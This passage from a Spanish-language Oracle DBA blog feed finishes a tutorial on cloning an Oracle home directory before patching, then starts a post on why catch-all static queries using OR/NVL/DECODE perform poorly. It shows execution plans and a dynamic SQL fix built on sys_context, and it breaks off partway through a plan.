&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3.&lt;/span&gt; Ejecutar los &lt;i&gt;scripts&lt;/i&gt; de configuración requeridos en el paso anterior.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Si la clonación se ha realizado sobre un servidor que &lt;b&gt;ya tenía&lt;/b&gt; &lt;i&gt;Oracle&lt;/i&gt; installado el mensaje que se obtiene al concluir el paso previo es:&lt;/div&gt;&lt;pre class="codigo"&gt;WARNING:The following configuration scripts
&lt;span style="color: red;"&gt;/u01/app/oracle/product/10.2.0/db_2/root.sh&lt;/span&gt;
need to be executed as root for configuring the system.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;En caso se hubiese tratado de un servidor en el cual se está instalando &lt;i&gt;Oracle&lt;/i&gt; &lt;b&gt;por primera vez&lt;/b&gt;, se obtiene:&lt;/div&gt;&lt;pre class="codigo"&gt;WARNING:A new inventory has been created in this session. However, it has not yet been registered as the central inventory of this system.
To register the new inventory please run the script &lt;span style="color: red;"&gt;'/u01/app/oracle/oraInventory/orainstRoot.sh'&lt;/span&gt; with root privileges.
If you do not register the inventory, you may not be able to update or patch the products you installed.

The following configuration scripts
&lt;span style="color: red;"&gt;/u01/app/oracle/product/10.2.0/db_2/root.sh&lt;/span&gt;
need to be executed as root for configuring the system.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Cualquiera fuese el caso, hay que ejecutar los respectivos &lt;i&gt;scripts&lt;/i&gt; bajo el usuario &lt;b&gt;root&lt;/b&gt;, asumiendo que se trata del último caso:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@caliope ~]#&amp;nbsp;sh&amp;nbsp;/u01/app/oracle/oraInventory/orainstRoot.sh

Changing permissions of /u01/app/oracle/oraInventory to 770.
Changing groupname of /u01/app/oracle/oraInventory to oinstall.
The execution of the script is complete&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@caliope ~]#&amp;nbsp;sh&amp;nbsp;/u01/app/oracle/product/10.2.0/db_2/root.sh

Running Oracle10 root.sh script...

The following environment variables are set as:
&amp;nbsp;&amp;nbsp; &amp;nbsp;ORACLE_OWNER= oracle
&amp;nbsp;&amp;nbsp; &amp;nbsp;ORACLE_HOME= &amp;nbsp;/u01/app/oracle/product/10.2.0/db_2

Enter the full pathname of the local bin directory: [/usr/local/bin]:
&amp;nbsp;&amp;nbsp; Copying dbhome to /usr/local/bin ...
&amp;nbsp;&amp;nbsp; Copying oraenv to /usr/local/bin ...
&amp;nbsp;&amp;nbsp; Copying coraenv to /usr/local/bin ...

Creating /etc/oratab file...
Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;b&gt;¡Felicitaciones!&lt;/b&gt;, si llegaste a éste punto entonces ya tienes un &lt;i&gt;Oracle home directory&lt;/i&gt; debidamente &lt;b&gt;clonado&lt;/b&gt; sobre el cual puedes aplicar el &lt;i&gt;patch&lt;/i&gt; o &lt;i&gt;patch set&lt;/i&gt; que necesitas, sin tener que suspender el servicio (por el momento). En cuanto termines el &lt;i&gt;patching&lt;/i&gt; sobre este &lt;i&gt;Oracle home directory&lt;/i&gt; ya puedes suspender el servicio (de ser necesario) y seguir con los pasos restantes que se señalen en el archivo &lt;b&gt;&lt;i&gt;Installation Notes&lt;/i&gt;&lt;/b&gt; que acompaña al &lt;i&gt;patch/patch set&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Conclusiones&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Es &lt;b&gt;altamente recomendable&lt;/b&gt; realizar el &lt;b&gt;patching&lt;/b&gt; sobre un &lt;b&gt;Clon&lt;/b&gt; del &lt;i&gt;Oracle home directory&lt;/i&gt; &lt;b&gt;original&lt;/b&gt;. Esto permite retrasar la suspensión del servicio hasta el momento en que tengamos el &lt;i&gt;patch&lt;/i&gt; debidamente aplicado sobre el &lt;b&gt;software&lt;/b&gt;, así nos evitaremos desagradables situaciones de tensión en caso algo salga mal.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/10/borr-el-orainventory-no-todo-est.html"&gt;¿Borró el OraInventory? No todo está perdido&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/01/opatch-patch-evitar-conflicto.html"&gt;¿Vas a aplicar un patch? Verifica posibles conflictos&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/02/cloning-oracle-home-directory.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-8887071514364810728</guid><pubDate>Sat, 24 Jan 2009 16:55:00 +0000</pubDate><atom:updated>2009-09-02T11:22:11.342-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PLSQL</category><category domain="http://www.blogger.com/atom/ns#">SQL</category><category domain="http://www.blogger.com/atom/ns#">Tuning</category><title>El query dinámico de los pobres</title><description>&lt;div&gt;Luego de casi dos semanas sin postear, les presento un caso curioso que me ocurrió en estos días. Pues ocurre que como parte de una tarea de afinamiento de aplicaciones que me solicitó un cliente, encontré con ayuda de &lt;b&gt;&lt;i&gt;dbms_monitor&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;&lt;i&gt;tkprof&lt;/i&gt;&lt;/b&gt;, que la sentencia responsable del problema de desempeño era una muy peculiar, se trataba de un &lt;i&gt;query&lt;/i&gt; que siendo estático estaba escrito de tal forma que pretendía satisfacer varios criterios de búsqueda, esto sin saber de antemano cuáles han sido proporcionados. Les mostraré cómo esta forma de programar genera código con un pésimo desempeño y veremos desde luego cómo resolverlo, todo esto empleando nuestras conocidas tablas &lt;b&gt;&lt;i&gt;emp&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;&lt;i&gt;dept&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;El Problema Original&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Observen el siguiente &lt;i&gt;query&lt;/i&gt; detenidamente:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE ( e.empno = :empno OR :empno IS NULL )
&amp;nbsp;&amp;nbsp;&amp;nbsp;AND ( e.mgr = :mgr OR :mgr IS NULL )&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;El programador no sabe si el usuario final proporcionará los valores de &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;&lt;i&gt;:mgr&lt;/i&gt;&lt;/b&gt; por lo que, luego de meditarlo, recurre a un "artificio" que le permite escribir una sola sentencia que satisfaga todos los escenarios posibles. Misión cumplida, el query compila y trae resultados, eso es suficiente, lo pasa a producción y sigue con sus tareas, con la plena convicción de que ha hecho un "faenón" &lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqe197uHPum9W5EJVrlALJlN9d7tGSiFoU0MtW63XH3luIEop0BplGVvBay8L2M72tk22gSsBlo5dhFatOka91WzCyqPIGNUiEOS363VEMJV4dChfoionh1ku_4uRpZzi0pFqe-Q2uA2__/"/&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Pues bien, cuando la aplicación empieza a ser utilizada los problemas aparecen: aún cuando el usuario final proporciona los datos de la clave primaria de la tabla &lt;b&gt;&lt;i&gt;emp&lt;/i&gt;&lt;/b&gt;, los resultados tardan mucho en aparecer, y es que no podía ser de otra forma, la sentencia está escrita de forma que el &lt;b&gt;Optimizador&lt;/b&gt; se confunde y no saca provecho de los índices existentes:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SQL&amp;gt; variable empno number;
SQL&amp;gt; variable mgr number;
SQL&amp;gt; execute :empno := 7369;
SQL&amp;gt; execute :mgr := NULL;
SQL&amp;gt; SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;&amp;nbsp;3&amp;nbsp;&amp;nbsp;WHERE ( e.empno = :empno OR :empno IS NULL )
&amp;nbsp;&amp;nbsp;4&amp;nbsp;&amp;nbsp;AND ( e.mgr = :mgr OR :mgr IS NULL );

-----------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 4 (100)|
| &amp;nbsp; 1 | &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;28 | &amp;nbsp; &amp;nbsp; 4 &amp;nbsp; (0)|
|* &amp;nbsp;2 | &amp;nbsp; TABLE ACCESS FULL &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;15 | &amp;nbsp; &amp;nbsp; 3 &amp;nbsp; (0)|
| &amp;nbsp; 3 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;13 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;4 | &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
-----------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 2 - filter(((:EMPNO IS NULL OR "E"."EMPNO"=:EMPNO) AND ("E"."MGR"=:MGR OR
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;:MGR IS NULL)))
&amp;nbsp;&amp;nbsp; 4 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;No importa qué variables proporcionemos, el plan de ejecución será el mismo: &lt;b&gt;Oracle&lt;/b&gt; opta por realizar un &lt;b&gt;&lt;i&gt;Full Table Scan&lt;/i&gt;&lt;/b&gt; (&lt;b&gt;FTS&lt;/b&gt;) de la tabla &lt;b&gt;&lt;i&gt;emp&lt;/b&gt;&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Variantes del Problema&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Desde luego esta no es la única forma de codificar una sentencia estática que pretende ser dinámica, abundan las ideas ingeniosas y por tanto hay variantes pero, como es de prever, con los mismos pésimos resultados:&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;1. Variante usando &lt;b&gt;&lt;i&gt;NVL&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE e.empno = NVL(:empno,e.empno)
&amp;nbsp;&amp;nbsp;&amp;nbsp;AND e.mgr = NVL(:mgr,e.mgr);&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;2. Variante usando &lt;b&gt;&lt;i&gt;DECODE&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE e.empno = DECODE(:empno,NULL,e.empno,:empno)
&amp;nbsp;&amp;nbsp;&amp;nbsp;AND e.mgr = DECODE(:mgr,NULL,e.mgr,:mgr);&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ambas son interpretadas de forma similar por el &lt;b&gt;Optimizador&lt;/b&gt; y producen el mismo plan de ejecución:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;-------------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-------------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 6 (100)|
| &amp;nbsp; 1 | &amp;nbsp;CONCATENATION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|
|* &amp;nbsp;2 | &amp;nbsp; FILTER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|
| &amp;nbsp; 3 | &amp;nbsp; &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 | &amp;nbsp; &amp;nbsp;56 | &amp;nbsp; &amp;nbsp; 4 &amp;nbsp; (0)|
|* &amp;nbsp;4 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 | &amp;nbsp; &amp;nbsp;30 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* &amp;nbsp;5 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX FULL SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp;14 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
| &amp;nbsp; 6 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;13 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;7 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
|* &amp;nbsp;8 | &amp;nbsp; FILTER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|
| &amp;nbsp; 9 | &amp;nbsp; &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;28 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* 10 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;15 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* 11 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX RANGE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
| &amp;nbsp;12 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp;52 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* 13 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
-------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

&amp;nbsp;&amp;nbsp; 2 - filter(:EMPNO IS NULL)
&amp;nbsp;&amp;nbsp; 4 - filter("E"."MGR"=NVL(:MGR,"E"."MGR"))
&amp;nbsp;&amp;nbsp; 5 - filter("E"."EMPNO" IS NOT NULL)
&amp;nbsp;&amp;nbsp; 7 - access("E"."DEPTNO"="D"."DEPTNO")
&amp;nbsp;&amp;nbsp; 8 - filter(:EMPNO IS NOT NULL)
&amp;nbsp;&amp;nbsp;10 - filter("E"."MGR"=NVL(:MGR,"E"."MGR"))
&amp;nbsp;&amp;nbsp;11 - access("E"."EMPNO"=:EMPNO)
&amp;nbsp;&amp;nbsp;13 - access("E"."DEPTNO"="D"."DEPTNO")&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Pero observemos que, sin llegar a ser óptimo, el plan está mejor pensado: el &lt;b&gt;Optimizador&lt;/b&gt; crea un plan de ejecución condicional, dependiendo de si se proporciona o no un valor para &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; y que se nota por la presencia de &lt;b&gt;&lt;i&gt;FILTER&lt;/i&gt;&lt;/b&gt; en los pasos &lt;b&gt;2&lt;/b&gt; y &lt;b&gt;8&lt;/b&gt; :&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;1. Plan de ejecución si &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; es &lt;b&gt;&lt;i&gt;NULL&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;| &amp;nbsp; 3 | &amp;nbsp; &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 | &amp;nbsp; &amp;nbsp;56 | &amp;nbsp; &amp;nbsp; 4 &amp;nbsp; (0)|
|* &amp;nbsp;4 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 | &amp;nbsp; &amp;nbsp;30 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* &amp;nbsp;5 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX FULL SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp;14 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
| &amp;nbsp; 6 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;13 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;7 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;2. Plan de ejecución si &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt; es &lt;b&gt;&lt;i&gt;NOT NULL&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;| &amp;nbsp; 9 | &amp;nbsp; &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;28 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
|* 10 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;15 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* 11 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX RANGE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
| &amp;nbsp;12 | &amp;nbsp; &amp;nbsp; TABLE ACCESS BY INDEX ROWID| DEPT &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; 4 | &amp;nbsp; &amp;nbsp;52 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* 13 | &amp;nbsp; &amp;nbsp; &amp;nbsp;INDEX UNIQUE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | PK_DEPT | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¿Está mejor que el &lt;i&gt;query&lt;/i&gt; original no?, pero al ignorar completamente lo que ocurre con &lt;b&gt;&lt;i&gt;:mgr&lt;/i&gt;&lt;/b&gt; el plan de ejecución es desastroso para escenarios en los que sí interviene.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;La solución&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Tratar de soportar todos los escenarios posibles con una sola sentencia ha probado ser una bomba de tiempo antes que una solución, si no sabemos qué variables serán proporcionadas pues entonces hagamos un &lt;b&gt;&lt;i&gt;query&lt;/i&gt; dinámico&lt;/b&gt;, tomará algo más de tiempo pero garantiza que al &lt;b&gt;Optimizador&lt;/b&gt; le será más fácil encontrar el plan de ejecución ideal para el escenario que se le presente. Veamos parte del código modificado:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;. . .
v_query := 'SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)';
v_filtro := ' WHERE 1=1';
IF empno IS NOT NULL THEN
&amp;nbsp;&amp;nbsp; v_filtro := v_filtro || ' AND e.empno = sys_context(''ctx'',''empno'')';
&amp;nbsp;&amp;nbsp; dbms_session.set_context ('ctx','empno',empno);
END IF;
IF mgr IS NOT NULL THEN
&amp;nbsp;&amp;nbsp; v_filtro := v_filtro || ' AND e.mgr = sys_context(''ctx'',''mgr'')';
&amp;nbsp;&amp;nbsp; dbms_session.set_context ('ctx','mgr',mgr);
END IF;
. . .&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Los planes de ejecución se ven mejor ahora:&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;1. Se proporciona solamente &lt;b&gt;&lt;i&gt;:empno&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;SELECT e.empno, e.sal, d.dname
&amp;nbsp;&amp;nbsp;FROM emp e JOIN dept d USING (deptno)
&amp;nbsp;WHERE e.empno = :empno

-----------------------------------------------------------------------------
| Id &amp;nbsp;| Operation &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Name &amp;nbsp; &amp;nbsp;| Rows &amp;nbsp;| Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
| &amp;nbsp; 0 | SELECT STATEMENT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 2 (100)|
| &amp;nbsp; 1 | &amp;nbsp;NESTED LOOPS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;24 | &amp;nbsp; &amp;nbsp; 2 &amp;nbsp; (0)|
| &amp;nbsp; 2 | &amp;nbsp; TABLE ACCESS BY INDEX ROWID| EMP &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp;11 | &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; (0)|
|* &amp;nbsp;3 | &amp;nbsp; &amp;nbsp;INDEX RANGE SCAN &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| PK_EMP &amp;nbsp;| &amp;nbsp; &amp;nbsp; 1 | &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; 0 &amp;nbsp; (0)|
